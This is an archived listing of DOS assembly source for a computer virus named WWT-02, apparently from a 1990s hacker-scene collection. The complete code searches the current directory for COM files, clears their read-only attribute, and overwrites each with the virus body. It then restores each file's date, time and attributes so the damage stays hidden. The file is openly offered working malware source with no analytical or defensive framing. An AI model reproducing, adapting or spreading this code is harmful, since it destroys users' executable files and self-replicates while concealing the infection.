home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / WWT-02.ASM < prev    next >
Assembly Source File  |  1991-01-24  |  2KB  |  73 lines

  1. ; Virus name        WWT-02
  2. ; Description        Attack any COM file in current directory
  3. ; Comment        Don't change Date/Time, ignore ReadOnly
  4. ; Date            19 Dec 1990    15:30
  5. ; Place         CICTT
  6. ;
  7.         mov    dx,offset FileMask    ; FileMask for any COM file
  8.         mov    ah,4eh            ; Find first file
  9.         mov    cx,1            ; including attrib Archive
  10.         int    21h            ; Call DOS
  11.         jnc    Ok            ; If no error -> go on
  12.         jmp    short Exit        ; If error -> exit program
  13.  
  14. Ok
  15.         call    Infect            ; Do infection
  16.  
  17. DoNext
  18.         mov    dx,80h            ; Set DS:DX to DTA
  19.         mov    ah,4fh            ; Find Next file
  20.         int    21h            ; Call DOS
  21.         jnc    NextOk            ; If no error -> go on
  22.         jmp    short Exit        ; If error -> exit
  23. NextOk
  24.         jmp    short Ok        ; Still next file exist
  25.  
  26. Exit
  27.         int    20h            ; Exit to DOS
  28.  
  29. Infect
  30.         mov    dx,9eh            ; Set DS:DX to filename in DTA
  31.         mov    ax,4300h        ; Get file attribute
  32.         int    21h            ; Call DOS
  33.         mov    Attrib,cx        ; Save attribute for later
  34.         xor    cx,cx            ; New attribute -> normal file
  35.         mov    ax,4301h        ; Set attribute
  36.         int    21h            ; Call DOS
  37.         mov    ax,3d02h        ; Open file for Read/Write
  38.         int    21h            ; Call DOS
  39.         jc    Exit            ; If error -> exit
  40.         mov    bx,ax            ; Save handle
  41.         mov    ax,5700h        ; Get file Date/Time
  42.         int    21h            ; Call DOS
  43.         mov    Date,dx         ; Save date
  44.         mov    Time,cx         ; Save time
  45.         mov    dx,100h         ; DS:DX point to itself
  46.         mov    ah,40h            ; Write to handle
  47.         mov    cx,offset VirusSize-100h    ; Write only virus
  48.         int    21h            ; Call DOS
  49.         mov    ax,5701h        ; Restore Date/Time
  50.         mov    cx,Time         ; Old time
  51.         mov    dx,Date         ; Old time
  52.         int    21h            ; Call DOS
  53.         mov    ah,3eh            ; Close file
  54.         int    21h            ; Call DOS
  55.         mov    dx,9eh            ; Set DS:DX to filename in DTA
  56.         mov    cx,Attrib        ; Restore attribute
  57.         mov    ax,4301h        ; Set file attribute
  58.         int    21h            ; Call DOS
  59.         ret                ; Return to caller
  60.  
  61.  
  62. FileMask
  63.         db    '*.COM',0               ; File mask for any COM file
  64. Date
  65.         dw    ?
  66. Time
  67.         dw    ?
  68. Attrib
  69.         dw    ?
  70. VirusSize
  71.         db    ?            ; Used to calculate virus
  72.                         ; size
  73.